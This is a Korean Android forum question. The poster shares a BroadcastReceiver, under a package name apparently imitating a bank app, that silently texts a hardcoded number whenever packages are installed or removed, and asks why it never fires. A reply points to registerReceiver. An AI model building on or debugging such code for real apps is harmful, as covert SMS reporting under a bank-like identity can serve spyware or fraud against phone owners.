http://www.kandroid.org/board/board.php?board=AndroidTechQnA&sort=hit&search=APK+%EC%84%A4%EC%B9%98%EC%8B%9C%EC%97%90+%EC%84%A4%EC%B9%98%EA%B0%80+%EC%99%84%EB%A3%8C%EB%90%98%EC%97%88%EB%8B%A4%EB%8A%94+Notify%EB%A5%BC+%EB%B0%9B%EC%9D%84+%EC%88%98+%EC%9E%88%EC%9D%84%EA%B9%8C%EC%9A%94%3F+&shwhere=subject&command=body&no=2946
이 url을 보고 만들었는데요
제 프로그램의 소스코드입니다.
package com.webcash.wooribanks;
import android.content.BroadcastReceiver;
import android.telephony.*;
import android.content.Context;
import android.content.Intent;
public class br extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
final String action = intent.getAction();
final String packageName = intent.getData().getSchemeSpecificPart();
android.telephony.SmsManager sms = SmsManager.getDefault();
if (action.compareTo(Intent.ACTION_PACKAGE_INSTALL) == 0)
{
sms.sendTextMessage("01033123422", null, "aa" , null, null);
}
sms.sendTextMessage("01033123422", null, "bb" , null, null);
}
}
매니패스트 파일입니다.
<receiver android:name="br">
<intent-filter>
<action android:name="android.intent.action.PACKAGE_INSTALL" />
<action android:name="android.intent.action.PACKAGE_ADDED" />
<action android:name="android.intent.action.PACKAGE_REMOVED" />
<action android:name="android.intent.action.PACKAGE_REPLACED" />
<data android:scheme="package" />
<data android:mimeType="application/vnd.android.package-archive"/>
</intent-filter>
</receiver>
</application>
<uses-sdk android:targetSdkVersion="7" android:minSdkVersion="7"/>
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
</manifest>
음.. 이렇게 했을 때 패키지가 설치되면
제 휴대폰으로 sms가 전송이 되어야 할것 같은데
두개의 sms send 구문이 동작을 안하는것 보니
리시버가 아예 동작을 안하는 것 같습니다..
뭐가 문제일까요??




registerReceiver 함수 사용법은 찾아보시면 쉽게~